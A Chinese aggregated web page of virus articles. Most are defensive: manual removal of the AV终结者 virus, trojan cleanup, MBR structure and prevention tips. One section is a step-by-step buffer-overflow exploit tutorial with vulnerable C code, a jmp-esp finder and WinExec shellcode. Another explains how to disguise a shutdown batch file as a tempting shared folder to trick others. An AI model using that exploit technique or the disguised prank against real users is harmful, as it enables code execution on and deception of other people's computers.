为您找到与病毒结构简单相关的共200个结果:
第一步:知己知彼,百战百胜
要战胜AV终结者,我们先要了解自己的处境和它的特性还有弱点。首先我们来了解下AV终结者的执行以后的特征:
1.在多个文件夹内生成随机文件名的文件
旧版本的AV终结者在任务管理器里可以查看2个随机名的进程,新的变种文件名格式发生变化,目前我遇到过2种。
一种是随机8个字母+数字.exe和随机8个字母+数字.dll;另一种是6个随机字母组成的exe文件和inf文件。不管变种多少它们保存的路径大概都是如下几个:
C:windows
C:windowshelp
C:WindowsTemp
C:windowssystem32
C:WindowsSystem32drivers
C:Program Files
C:Program FilesCommon Filesmicrosoft shared
C:Program FilesCommon Filesmicrosoft sharedMSInfo
C:Program FilesInternet Explorer
以及IE缓存等
这个是我个人总结出来的,随着病毒的变种。获取还有其他的。我这里只提供参考。
2.感染磁盘及U盘
当你的系统中了AV终结者,你会发现你的磁盘右键打开时将出现一个”Auto”也就是自动运行的意思,此时你的电脑已经中毒了,而且如果你这个时候企图插入移动硬盘、U盘,或者刻录光盘以保存重要资料,都将被感染。这也就为什么许多用户重装完系统甚至格式化磁盘以后病毒依然的原因。
当你重装完系统,必定会有双击打开硬盘寻找软件或者驱动的时候,这个时候寄生在你磁盘根目录内的Autorun.inf文件就起到让病毒起死回生的功能了。这绝对不是耸人听闻哦!
3.破坏注册表导致无法显示隐藏文件
我们一起来看看磁盘里的Autorun.inf,因为此时你的系统已经无法显示隐藏文件了。这个也是AV终结者的一个特征,所以我们这里用到几条简单的dos命令。
开始菜单-运行-输入“cmd”来到cmd界面,输入“D:” 跳转到D盘根目录,因为AV是不感染C盘根目录的,再输入“dir /a”显示D盘根目录内的所有文件及文件夹。“/a”这个参数就是显示所有文件,包含隐藏文件。如图:
我们看到D盘内多出了Autorun.inf以及随机生成的病毒文件017a4901.exe。我们一起看看Autorun.inf的内容,输入”type autorun.inf”,Autorun.inf里的代码的意思就是当你双击打开、右键打开、资源管理器打开。都会自动运行目录里的 017A4901.exe这个文件。所以对于普通用户来说,即使你听过别人劝告,通过右键打开企图避免运行病毒也是徒劳的。因为“上有政策下有对策”,病毒也是在不断的变种升级的!当然它并不是无敌的,下文中我们就会讲述如何清理它。
4. 在注册表中写入启动项,已达到自动启动
HKEY_CLASSES_ROOTCLSID"随机CLSID"\InprocServer32 "病毒文件全路径"
HKEY_LOCAL_MACHINESOFTWAREClassesCLSID"随机CLSID" "病毒文件全路径"
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerShellExecuteHooks "生成的随机CLSID" ""
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun "随机字符串" "病毒文件全路径"
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceswscsvc Start dword:00000004
其他病毒及变种写入注册表的位置不同,下文的实战部分我们将详细说明
5.映像劫持技术
通过修改注册表
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options的内容达到劫持几乎所有主流杀毒软件,甚至360安全卫士这样的工具的目的,被劫持后的现象是,杀毒软件无法自动运行,实时监控也无法启动,双击运行闪出一个黑色dos窗口后立刻消失。其实这个时候就是利用劫持技术转向运行了病毒本身。这个时候杀毒软件就彻底倒下了。关键时刻我们果然还是要靠自己手工清理啊!
6.修改以下服务的启动类型来禁止Windows的自更新和系统自带的防火墙
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSharedAccess Start dword:00000004
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceswuauserv Start dword:00000004
7.删除以下注册表项,使用户无法进入安全模式
HKEY_CURRENT_USERSYSTEMCurrentControlSetControlSafeBootMinimal{4D36E967-E325-11CE-BFC1-08002BE10318}
HKEY_CURRENT_USERSYSTEMControlSet001ControlSafeBootMinimal{4D36E967-E325-11CE-BFC1-08002BE10318}
8.连接网络下载更多的游戏木马、广告软件以为病毒作何谋取经济利益。
9.强制关闭包含和病毒或者清理病毒或者杀毒软件有关的信息的页面。
10.注入Explorer.exe和TIMPlatform.exe反弹连接,以逃过防火墙的内墙的审核。
11.新的变种中加入双进程保护,当你结束一个进程,另一个进程自动重新启动它并关闭你的任务管理器
第二步:实战清理病毒
通过上面的内容相信你已经基本了解病毒的运作方式,现在杀毒软件已经“下岗”了,那么现在我们就靠自己的双手将它驱逐出去,还您一片蓝色的天空吧!
首先介绍今天的主角:WinPe 老毛桃修改版
这是一个类似windows98的操作系统。它体积很小只有几十M,现在很多系统安装版里都集成了这个软件,或者你也可以上网下载一个iso文件。用虚拟光驱运行,会有安装到系统的功能,所以没有刻录机的朋友一样可以使用它,当然它还有U盘版。我今天使用的是光盘版,或许你会问“为什么要用这个操作系统?他和xp有什么区别呢?难道用他就不会开机运行病毒了?”
是的!说的没错!因为WinPe是光盘或本地安装出来的一个虚拟磁盘的操作系统,他和系统本身是没有挂钩的,所以不会启动windows注册表里的启动项。这个的带来的优势就是我们可以在病毒启动之前就把他删除掉!设想,一个病毒虽然在注册表里配置的启动项,但是他的原始病毒文件已经不存在了。和谈启动运行?这就是我们今天的重点思路!在病毒启动以前将病毒文件全部删除,让他有心无力!
下面是winpe下操作的截图:
是不是和98或者2003很像?Winpe的另一个好处就是,我们前面提到的磁盘感染Autorun.inf对它也是无效的。右键是没有”Auto”这个选项的,所以我们在winpe下可以放心的双击盘符而不会运行病毒!
我们首先来清理掉最容易找到的病毒文件——磁盘根目录下的感染文件
除了C盘以外的每个盘根目录下都有,一定要记得全部删除!
删除的文件包括Autorun.inf和那个隐藏的exe文件,有的病毒隐藏文件是.pif或cmd或别的什么,因为c盘根目录没这些感染文件。所以我可以告诉大家一个诀窍:
删除除C盘以外,所以盘目录下的隐藏文件(不包括文件夹)就可以了。
好接下来看看我们前面提到的其他文件夹:
C:windows
C:windowshelp
C:WindowsTemp
C:windowssystem32
C:WindowsSystem32drivers
C:Program Files
C:Program FilesCommon Filesmicrosoft shared
C:Program FilesCommon Filesmicrosoft sharedMSInfo
C:Program FilesInternet Explorer
在windows文件夹下我们发现了017A4901.hlp和我们上面说的一样
所以我们利用winpe的文件搜索功能搜索” 017A4901”将其他病毒文件都挖出来
当我们把上面找到的这些文件全部清理完毕以后再搜索看看。是不是已经没有了?
那么现在AV终结者也“下岗”了。注册表里的所谓映像劫持、自动启动、双进程保护都已经形同虚设了!
这个时候你会发现你可以上杀毒软件的网站了
现在我们来彻底将病毒的启动请出我们的电脑吧(注意:这个时候建议先不要运行杀毒软件,避免还有残留的我们没发现的病毒残留文件通过映像劫持再度重生!)
开始菜单-运行-输入“regedit”打开注册表
使用模糊查询搜索我们刚才的病毒文件。不要包括扩展名,因为有的地方是以名字做注册表项的,我们同时勾选 项、值、以及数据。确保不放过一个敌人!
我们找到一个CLSID 为{A490017A-017A-4901-7A49-17A9017A4901}的项里面保存着病毒名称和路径:
我们删除这个项,然后按下F3继续搜索下一个,找到就把它删除。这里要注意一个问题。如果你搜索出来的注册表项里面有很多个值,千万不要盲目删除项。只要删除包含病毒文件名称和路径的部分就可以了!避免系统崩溃!接下来删除映像劫持部分的注册表内容搜索Image File Execution Options既可来到
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options这个位置。你会发现里面几乎包含了所有你知道的杀毒软件的进程名,病毒就是通过识别这些进程名来进行劫持的。所以有的时候你可以通过修改程序的名称。比如把360safe.com改为xxx.exx就可以运行了。当然不是绝对。例如对AV终结者就是无效的,因为他识别的是窗体标题。所以你可以发现的杀毒软件他们推出的专杀工具一般都是.com的扩展名,而且运行时候是没有标题的。这个就是为了防止被感染或者被强制关闭。
第三步:收拾战场,修复系统
首先我们重新启动重新上岗就业的杀毒软件。这里我使用360安全卫士,因为针对非感染exe类型的病毒,360足够应付了,而且速度快很多。
选择查杀流行木马。好的,检测结果。已经没有木马病毒了。下一步我们重启启动被病毒关闭的防火墙以及系统自动更新的服务,我的电脑-右键-管理-服务和应用程序-服务,找到windows firewall开头的服务右键属性,启动类型改为自动,再找到Automatic Updates这个服务,同样将启动类型改为自动
下面修复安全模式:将如下代码保存为1.reg 然后运行导入既可
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESYSTEMControlSet001ControlSafeBootMinimal{4D36E967-E325-11CE-BFC1-08002BE10318}]
@="DiskDrive"
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSafeBootMinimal{4D36E967-E325-11CE-BFC1-08002BE10318}]
@="DiskDrive"
将如下代码保存为2.reg运行导入后文件夹选项里重新出现“隐藏受系统保护的操作系统文件,以及“隐藏文件和文件夹”选项,选择显示后即可和一样一样,正常情况下不需要去设置,隐藏的病毒文件已经被我们删除了,需要的人可以自行选择
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenNOHIDDEN]
"RegPath"="Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
"Text"="@shell32.dll,-30501"
"Type"="radio"
"CheckedValue"=dword:00000002
"ValueName"="Hidden"
"DefaultValue"=dword:00000002
"HKeyRoot"=dword:80000001
"HelpID"="shell.hlp#51104"
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL]
"RegPath"="Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
"Text"="@shell32.dll,-30500"
"Type"="radio"
"CheckedValue"=dword:00000001
"ValueName"="Hidden"
"DefaultValue"=dword:00000002
"HKeyRoot"=dword:80000001
"HelpID"="shell.hlp#51105"
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderSuperHidden]
"Type"="checkbox"
"Text"="@shell32.dll,-30508"
"WarningIfNotDefault"="@shell32.dll,-28964"
"HKeyRoot"=dword:80000001
"RegPath"="Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
"ValueName"="ShowSuperHidden"
"CheckedValue"=dword:00000000
"UncheckedValue"=dword:00000001
"DefaultValue"=dword:00000000
"HelpID"="shell.hlp#51103"
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderSuperHiddenPolicy]
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderSuperHiddenPolicyDontShowSuperHidden]
@=""
重新启动后。您的电脑又是一片蓝色的天空。
自此,菜鸟们再也不用为中毒烦恼了,重装系统和格式化,不再是噩梦!建议重启后用杀毒软件彻底查杀整个硬盘避免存在感染exe型病毒哦!偷懒的人跳过前面的介绍直接看操作实战,是不是觉得非常容易?以后你也可以轻易的告诉MM电脑中毒?找我就行!重装既浪费时间,又不能彻底解决问题哦!希望大家看完我的文章能够学会举一反三,轻松应对各种各样病毒哦!
浏览量:2
下载量:0
时间:
系统中木马病毒后该怎么办?下面我们介绍一些简单的解决方法。
1.打开windows任务管理器,察看是否有可疑的进程(可以根据杀毒软件的报告或者在网上搜索相关信息来判定)在运行,如果有把它结束。注意在system32目录下的Rundll32.exe本身不是病毒,有可能一个dll文件在运行,他才可能是病毒或恶意程序之类的东西。
由于windows 任务管理器不能显示进程的路径,因此建议使用杀毒软件自带的进程察看和管理工具来查找并中止可疑进程。然后设法找到病毒程序文件(主要是你所中止的病毒进程文件,另外先在资源管理器的文件夹选项中,设置显示所有文件和文件夹、显示受保护的文件,再察看如system32文件夹中是否有不明dll或exe文件,C:Program Files、C:Documents and SettingsuserLocal SettingsTemporary Internet Files、C:Documents and SettingsuserLocal SettingsTemp等处是否有不明文件或病毒程序文件),然后删去,搞清楚是否是系统文件再动手。
2.有些病毒进程终止不了,提示“拒绝访问”,或者出现“屡禁不止”的情况。根据我的经验,有三种办法供尝试:
A.可能是某些木马病毒、流氓软件等注册为系统服务了。办法是:察看控制面板〉管理工具〉服务,看有没有与之相关的服务(特别是“描述”为空的)在运行,把它停止。再试著中止病毒进程并删除。
B.你可以尝试安全模式下(开机后按F8选安全模式)用杀毒软件处理,不行则再按步骤1和2A试一试。
C.使用冰刃等工具,察看病毒进程的线程信息和模块信息,尝试结束线程和解除模块,再试著删除病毒进程文件和相应的模块。(慎用)
3.如果稍微懂得注册表使用的,可以再把相关的注册表键值删除。一般方法:开始〉运行,输入regedit,确定,打开注册表编辑器。编辑〉查找,查找目标为病毒进程名,在搜索结果中将与之有关的键值删除。有时这样做不能遏止病毒,还应尝试使用步骤2中方法。
4.某些病毒会劫持IE浏览器,导致乱弹网页的状况。建议用360安全卫士,看浏览器辅助对象BHO是否有可疑项目,有没有没恶意插件或者木马。有就修复它。
5.其他提示:为了更好的操作,请先用优化大师或超级兔子清理所有临时文件和上网时的缓存文件。一般病毒往往在临时文件夹Temp中,这样做可以帮你更快找到病毒文件。
开始>>运行,输入msconfig,确定,可以打开“系统配置实用程序”。选择“启动”,察看开机时加载的程序,如果在其中发现病毒程序,可以禁止它在开机时加载。不过此法治标不治本,甚至对某些程序来说无效。还是要按步骤1、2办。
6.说了这么多,不过有时还是不能解决。只好请教高人或格式化重做系统了,当然不推荐后者
浏览量:2
下载量:0
时间:
电脑已经走进我们的生活,与我们的生活息息相关,感觉已经离不开电脑与网络,对于电脑病毒,今天小编在这里给大家推荐一些预防电脑病毒相关文章,欢迎大家围观参考,想了解更多,请继续关注读文网。
一、前言
大都数“病毒”都是可执行文件(EXE格式),都是传统意义上的恶意程序,它们在被用户双击运行后,就开始执行自身代码,实现相应的功能,从而对用户的计算机产生威胁。而这次我打算讨论一种特殊的情况,也就是利用正常程序所存在的漏洞,仅仅通过文本文档(TXT格式),来实现我们的对话框的启动。所以这篇文章的讨论重点就在于简单的漏洞发掘以及运用ShellCode实现漏洞的利用。在此不会讨论复杂的情况,仅仅用浅显的例子来说明这些问题,因为即便是现实中的复杂情况,其基本原理是相似的。这也是为以后的篇章中讨论更加复杂的情况打下基础。
二、编写含有漏洞的程序
在现今的软件开发中,尽管程序员的水平在提高,编程技巧在不断进步,但是大部分人对于计算机安全的概念还是比较模糊的,真正掌握计算机安全技术的人毕竟还是少数。特别是计算机安全往往还涉及到系统底层原理、汇编甚至是机器码,这就更加令人望而却步。我在这里讨论的就是一个含有漏洞的程序,它含有缓冲区溢出漏洞。缓冲区溢出攻击是一种非常有效而常见的攻击方法,在被发现的众多漏洞中,它占了大部分。
以下就是本次所研究的程序:
#include #include
#include #define PASSWORD "1234567890"
int CheckPassword(char *pPassword)
{ int nCheckFlag;
char szBuffer[30]; nCheckFlag = strcmp(pPassword, PASSWORD);
strcpy(szBuffer, pPassword); https://存在溢出漏洞 return nCheckFlag;
}
int main() {
int nFlag = 0; char szPassword[1024];
FILE *fp; LoadLibrary("user32.dll");
if(!(fp=fopen("password.txt", "rw+"))) {
return 0; }
fscanf(fp,"%s",szPassword); nFlag=CheckPassword(szPassword);
if(nFlag) {
printf("Incorrect password!"); }
else {
printf("Correct password!"); }
fclose(fp); getchar();
return 0; }
这里来讲解一下程序的运行流程。main函数中首先会打开当前目录下的password.txt文件,然后调用CheckPassword函数,该函数会对从password.txt文件读取出来的内容与字符串“1234567890”进行比较,用于验证密码是否正确,之后将用户所输入的密码拷贝到子函数自己创建的数组中,再返回到主函数,最后对用户所输入的密码是否正确进行显示。
这个程序中之所以要用TXT文件来保存用户输入的密码,就是为了方便之后的讨论与观察。而在子函数中将用户输入的密码拷贝到一个数组中,仅仅是为了创造一个缓冲区溢出的漏洞,也是为了方便之后的讨论。在现实中,可能难以出现这样的情况。但是原理是一样的,缓冲区溢出漏洞出现的原因就是因为没能检测待拷贝数据的大小,而直接将该数据复制到另一个缓冲区中,从而使得恶意程序得到了攻击的机会。
三、漏洞原理的分析
不论是对于本篇文章所讨论的最简单的缓冲区溢出的漏洞,还是复杂的,可能会在未来的文章中讨论的堆溢出以及SEH的利用,其核心可以说都是利用了指针(或者说是相应的地址)来做文章。对于这次的程序来说,首先需要从反汇编的角度简单讲一下程序的执行原理。
主函数中会调用CheckPassword函数,那么在反汇编中,就需要找到调用该函数的位置,这个很简单:
004010F3 E8 0DFFFFFF call 00401005
之所以能很快确定函数的位置,是因为它在源程序中就在fscanf函数的后面,那么反汇编中,他的位置也在fscanf的后面。这里有必要简单说一下call的实现原理。它分为两步,第一步是向栈中压入当前指令在内存中的位置,即保存返回地址(EIP所保存的地址,也就是call的下一条指令,EIP入栈);第二步是跳转到所调用函数的入口处。进入这个call,来到以下反汇编代码处:
00401020 55 push ebp 00401021 8BEC mov ebp,esp
00401023 83EC 64 sub esp,64
可以说每一个函数的开始,其反汇编结果都是这么几句。主要是三步:第一步需要保存当前栈帧状态值,以备后面恢复本栈帧时使用(EBP入栈);第二步将当前栈帧切换到新栈(将ESP值装入EBP,更新栈帧底部);第三步给新栈帧分配空间(把ESP减去所需空间的大小,抬高栈帧)。
这里需要说明的是,以上所分析的是程序的Debug版,如果是Release版,由于做了优化,可能会有些不同,但也是遵循基本原理,在这里就不再对Release版进行讨论。
现在来看看堆栈中的情况,按照内存地址递减的顺序,EBP相比EIP位于内存的低地址处,这两个寄存器在栈中是挨着的。再来看看CheckPassword函数结尾处的反汇编代码:
0040106C 8BE5 mov esp,ebp 0040106E 5D pop ebp
0040106F C3 retn
可见这里首先将esp指向了当前栈帧的栈底,之后从栈中弹出原始ebp的值,这样就实现了恢复栈帧的操作。之后的retn语句,就是再次弹出栈顶的值(EIP),并转去执行EIP所指向的语句,也就是之前的call的下一条语句。
分析至此,就可以发现,我们可以通过修改EIP所保存的值(指令地址),来实现跳转到我们自己的“病毒代码”地址处的目的。当然这里我不会利用反汇编工具进行修改,而是直接运用password.txt这个文本文档来实现。
四、定位EIP
知道了漏洞利用的原理,那么接下来就需要确定EIP的位置。EIP的位置尽管可以通过反汇编工具获得,但是在此我不想用这种简单的方法,而是运用Windows的报错对话框实现EIP的定位。当EIP被覆盖为一个无效地址后,系统就会提示出错,报错对话框就能够显示出来究竟是哪个地址(EIP)出错,这里可以通过一些小技巧来定位。
当然,每个人往往有自己认为最好的定位方法,我个人比较喜欢的方法是运用26个小写字母连同26个大写字母组成一长串数据进行测试,这样一次性就能够测试52个字节的长度。具体方法是将这52个字母写入password.txt文件,运行程序查看是否报错,如果不报错,就再写入52个字母,直至报错为止。幸运的是,在这个程序中,前52个字母就使得报错对话框弹出了:
从报错对话框中可以得知,EIP已经被覆盖为0x5251504f,通过查询ASCII码表可以得知,对应的四个字母是OPQR(小端显示,我这里反过来写了),于是可知,EIP的位置就是password.txt文档内容的第41至第44个字节处。
确定了EIP的位置,那么接下来就要确定应当给它赋以什么地址。这里当然可以利用反汇编软件在程序中寻找空余的位置,将代码写入,然后令EIP指向该代码处。但是这里我打算用更加巧妙的方法——jmp esp。我们可以将EIP指向内存中jmp esp的地址,然后将我们的程序的机器码(ShellCode)顺序从EIP处向下(地址高处)覆盖,这样jmp esp就能够直接跳到我们的代码处执行了。
首先编程序寻找jmp esp:
#include #include
#include #define DLL_NAME "user32.dll"
int main()
{ BYTE *ptr;
int position,address; HINSTANCE handle;
BOOL done_flag = FALSE; handle = LoadLibrary(DLL_NAME);
if(!handle) {
printf("load dll error!"); exit(0);
} ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++)
{ try
{ if(ptr[position]==0xFF && ptr[position+1]==0xE4)
{ int address = (int)ptr + position;
printf("OPCODE found at 0x%x", address); }
} catch(...)
{ int address = (int)ptr + position;
printf("END OF 0x%x", address); done_flag = true;
} }
return 0; }
程序执行结果如下:
上述程序中是在user32.dll中寻找jmp esp的机器码FFE4,会查找到很多的结果,选择其中的一个就可以。这里需要特别说明的是,不同的计算机不同的操作系统版本,所找到的jmp esp的地址可能会不一样,就是说jmp esp的地址往往并不是通用的。当然,也会有几个地址是跨版本的,这个在这里不讨论。这次我们选择截图中的第一个地址——0x77d93ac8。由于是小端显示,所以应当在“OPQR”的位置反向书写,即c83ad977。当然这里不能够直接用类似于记事本这样的软件进行编辑,而是需要用十六进制代码编辑器操作。
五、编写ShellCode
为了简单起见,我这里将“病毒”程序与上述漏洞程序放在同一目录下,并且为了编写方便,我这里将“病毒”名称更改为Hack.exe。为了实现“病毒”的启动,我不打算直接将“病毒”程序转化为ShellCode,毕竟那样的话工作量太大,而是编写一个能够启动“病毒”程序的ShellCode。这里我使用WinExec函数用于“病毒”的启动,最后再用ExitProcess函数实现程序的正常退出。查询这两个函数句柄的代码如下:
#include #include
typedef void (*MYPROC)(LPTSTR); int main()
{ HINSTANCE LibHandle;
MYPROC ProcAdd; LibHandle = LoadLibrary("kernel32");
https://获取user32.dll的地址 printf("msvcrt LibHandle = https://x%x", LibHandle);
https://获取MessageBoxA的地址 ProcAdd=(MYPROC)GetProcAddress(LibHandle,"WinExec");
printf("system = https://x%x", ProcAdd);
return 0; }
运行结果如下:
上述程序首先需要知道被查询函数所在的动态链接库,先查出动态链接库的地址,之后利用这个地址,从而查询相应API函数的句柄。可以知道WinExec的句柄为0x7c863231,那么同理,ExitProcess函数的句柄为0x7c81bfa2。
至此,我们已经获得了足够的信息,接下来就可以进行ShellCode的编写了,但是一般来说,我们不会特意去记忆十六进制的机器码,因此都是先写出汇编程序,然后利用相应的软件通过转换,从而查看其机器码。具体的方法有很多,我还是比较倾向于在VC++6.0中以内嵌汇编语言的形式进行编写:
_asm {
xor ebx,ebx push ebx
push 0x6578652e push 0x6b636148
mov eax,esp ;压入字符Hack.exe
push ebx push eax
mov eax,0x7c863231 call eax ;调用WinExec函数
push ebx
mov eax,0x7c81bfa2 call eax ;调用ExitProcess函数
}
这里需要把asm中的内容转化为机器码,VC++6.0就可以实现(也可以使用其它反汇编软件)。利用十六进制文件编辑器,将提取出来的机器码直接填写进password.txt中EIP的后面。
这里要说明的是,尽管以上仅仅是调用了非常简单的函数,但是实际上,不管是什么函数,其调用原理和上面是一样的,都是首先需要把参数从右至左入栈,然后call该函数所在的地址。为了增强可移植性,可以利用TEB获取相关函数的句柄,从而编写出通用性极高的ShellCode出来(这些高级方法可能会在以后的文章中讨论)。由此可见,漏洞可以很容易被恶意程序所利用。
当编辑完password.txt后,运行CheckPassword.exe程序,结果如下图所示:
由此可见,仅仅是通过修改password.txt就能够在神不知鬼不觉的情况下实现病毒的启动(尽管这一过程有诸多限制)。而这里所用到的WinExec函数也多用于“下载者”中,它是一种功能单一的恶意程序,能够令受害的计算机到黑客指定的URL地址去下载更多的恶意程序并运行。“下载者”体积小,易于传播,当它下载到病毒木马后,通常就使用诸如WinExec这样的函数来运行病毒。
六、“病毒”的防范
漏洞的发掘与利用是一个较为高深的话题,在现实中,其发掘的难度是远远高于我在这里所举的例子的。高明的黑客手中往往掌握着一些不被软件生产厂家所知道的漏洞,他们利用这些软件漏洞,往往就能够为所欲为。所以,这就要求我们培养良好的安全编码习惯。在上述例子中,漏洞的出现就是因为使用了strcpy函数,更具体来说,因为我们没有对将要复制到缓冲区中的数据进行长度检验,导致了EIP被非法覆盖,跳去了不应该去的位置,执行了不该执行的代码。现实中的漏洞往往也是这个道理。所以在这种情况下,应当事先检验数据的长度,至少将strcpy替换成strncpy,尽管后者也存在危险,但至少会按照编程者要求的数据量的大小来拷贝数据,这就安全多了。当然我们系统版本的不断升级,在安全性方面也会不断进步。比如加入的Security Cookie就能够较好地对缓冲区溢出的问题进行防范。不过这也不是绝对安全的,毕竟在攻与防的对立统一中,技术是不断进步的。但是归根结底,只有在源头上做足功夫,才会让黑客们无从下手。
七、小结
本篇文章构造了一个特殊的环境——存在漏洞的程序——实现了“病毒”的自启动。由于关于漏洞的知识体系比较庞大且较为高深,我也只能用这个简单的程序来让大家看看冰山的一角。这里需要再次说明的是,现实中漏洞的原理和利用方法可以说和这个例子是差不多的。现实中可能需要我们编写出更为通用的ShellCode来实现我们想要完成的功能,这些会在以后的文章中进行讨论。本篇文章仅仅是为了打好基础,为未来更加高深的知识的探讨做好准备。
浏览量:2
下载量:0
时间:
有些网友想了解一下简单的电脑病毒是如何制作的。所以今天读文网小编要跟大家介绍下简单的电脑病毒程序,下面就是读文网小编为大家整理到的资料,请大家认真看看!
下面,我就教大家制作一种能够关闭计算机的小病毒出来!
首先,在桌面新建一个文本文档,打开后,在里面写入:shutdown -t 然后保存,把文本的后缀格式由txt改为bat的格式,因为bat 的格式是执行文件的格式 ,改了之后,桌面会提示"如果改变文件扩展名,可能会导致文件不可用,确实要更改吗?"点击确定,并保存。
第二步,把制好的文本文档创建快捷方式,然后把这个文本隐藏起来(在属性里面隐藏)
第三步,反键点击创建的快捷方式,打开属性,里面有一个"更改图标" 点击并且选择一种文件夹的图标然后应用 ,确定第四步,把文件的名称改为一个很有诱惑力的名字,比如说"赤裸裸的诱惑"等等.但是后缀名不能更改,还是bat 的格式,.最后一步,共享这个文件夹,一个完整的病毒就制作好了,大家不妨试一试上文中的红字部分还可以改为shutdown -t
这个是注销,shutdown 1 -r 为重起计算机这样的小病毒都是一些基本的最简单的病毒 ,实际上真正的病毒比这个要复杂一些。
浏览量:2
下载量:0
时间:
从鬼影病毒开始,最近利用MBR手法的病毒逐渐普及,而想分析此类病毒,难免需要用到MBR和磁盘引导等基础知识。因此利用休息时间整理了一点东西,希望对想研究或了解该手法的同学有些帮助。以下就是读文网小编为大家整理到关于电脑病毒结构的相关知识,大家一起来看看吧!!!
先简单介绍一下硬盘上相关结构:
1、MBR(主引导记录)
硬盘第一个物理扇区为MBR,当我们选择从硬盘启动时,由 bois从该扇区读入引导代码。MBR关键数据可分为3部分:
(1) 引导代码
(2) 分区表
(3) 结束标志(55AA)
分区表用以管理整个磁盘空间的划分。它从MBR的0x1BE偏移开始,有4个表项,每项16个字节,因此最多只能可以建立4个主分区。(微软为了克服这个数量限制,设计了扩展分区的方式,所谓扩展分区就是分区表中指向的一个普通分区而已,只是在它自己分区内部又有特殊的结构,使得我们可以分出多个逻辑分区,我们平时看到的d、e、f等驱动器实际上都是扩展分区内部划分的逻辑分区,你可以用winhex查看你的分区表,会发现里面只有两项,一项代表C盘分区,另外一项就是代表其他所有驱动器之和的扩展分区了,当然如果自己分了其他主分区的情况除外)
分区表项结构列出如下,以便查阅:
2、DBR
每个主分区的第一个扇区存放着另一个引导扇区DBR,“分区引导扇区”或叫“DOS引导扇区”。该扇区的目的就是读入ntldr,以进行进一步分引导。该扇区也是以”55AA”标志结束。
3、扩展分区
详细讲一下扩展分区的结构,我们平时能分多个逻辑磁盘出来都是它的功劳。
前面说了扩展分区内部有着自己特殊的结构以实现多分区,它和普通的主分区一个明显的差别就是它的第一个扇区存放的就不是DBR了,而是一个叫虚拟MBR的扇区。叫虚拟MBR是因为他和MBR结构很像。结构也为3部分:
(1) 全0
(2) 分区表
(3) 55AA
它没有引导代码,以全0代替。分区表偏移也在0x1BE处,为4项。只是它只会用前两项。后面两项全0。第一项指向一个逻辑驱动器(逻辑分区)比如d盘。第二项指向下一个虚拟MBR(如果还有逻辑分区的话)。如此就形成了一个链,突破了分区个数限制。扩展分区本身没有DBR,它的DBR在它的每个孩子即逻辑分区的第一个扇区。你可以把扩展分区想象成一个独立的硬盘,只是分区的组织方式变成链表了,这样可能好理解点。忘了一点,记得曾经有过硬盘逻辑锁的概念,其原理就是把逻辑分区的链表修改成了一个环,这样在系统遍历这个链表时就死循环了。
以上文字描述的比较乱,下面给大家整理成一个结构图,以方便理解。图中以硬盘分了2个主分区+一个扩展分区画的。
windows系统从MBR开始的引导过程简单描述为:MBR->活动分区DBR->Ntldr->boot.ini启动菜单->加载系统。
浏览量:3
下载量:0
时间:
由于计算机病毒的传播方式多种多样,又通常具有一定的隐蔽性,因此,首先应提高全民对计算机病毒的防范意识,在计算机的使用过程中应注意下几点: (1)尽量不使用盗版或来历不明的软件。 (2)备份硬盘引区和主引导扇区数据,经常对重要的数据进行备份。 (3)养成经常用杀毒软件检查硬盘和每一张外来盘的良好习惯。 (4)杀毒软件应定期升级,一般间隔时间最好不超过一个月。 (5)安装了实时监控防病毒软件,当然这也不是一劳永逸的方法,防病毒软件不一定对所有的病毒都有效,而且病毒的更新速度也很快。 (6)随时注意计算机的各种异常现象,一旦发现,应立即用杀毒软件仔细检查。杀毒软件是预防病毒感染的有效工具,应尽量配备多套杀毒软件,因为每个杀毒软件都有各自的特点。 (7)有些病毒的传播途径主要是通过电子邮件,被称为“邮件病毒”。
怎样简单杀电脑病毒呢?
使用电脑系统浏览网页、下载软件是经常做也是简单的事情,这些细节往往最容易导致电脑系统抵御不住木马的入侵或者遭遇黑客的攻击,此时电脑系统中毒我们可以做什么呢?
第一步,准备一张DOS启动盘(干净的)和DOS下面正常运行的杀软,然后关机进行冷启动。第一点DOS启动盘必须是干净的,第二点杀软中毒后也可能会出现异常情况,因此我们也还需要准备一个能在DOS正常使用的杀软来操作,或者与原来的杀软交叉清理。
第二步、中毒后以最快速度备份或者转移重要文件,防止被木马持续损坏,建议将它们转移备份到别的可移动硬盘或者磁盘上,还有一点不要轻易直接关闭计算,因为一旦损坏严重极可能再次进入计算机比较麻烦。无论文件是否已经中毒应该先备份,最好标记上,清理完所有病毒再来处理也不晚。
第三步、GHOST的备份文件有时候很有用,可以尝试恢复一下系统,当然也是很保险的方法,怎样简单杀电脑病毒但是必须先保证这个备份的安全性。
第四步、上网如果还在继续要立刻断网,尤其注意IE是否经常询问你进行一些操作,包括运行某些不可知的ActiveX控件等等,千万不要乱动,最好直接关闭。
两种上网被入侵特征:
1,浏览恶意代码的网页被恶意篡改,或者格式化磁盘重复某些windows指令,甚至最后导致计算机直接瘫痪。
2,潜在木马或者蠕虫病毒引诱你进行操作,最后直接将电脑系统中毒的病毒逐步扩散。
应对办法:断网是必须的,先避免多重被侵占的可能性,然后先不关闭计算机,继续进行下一步操作。
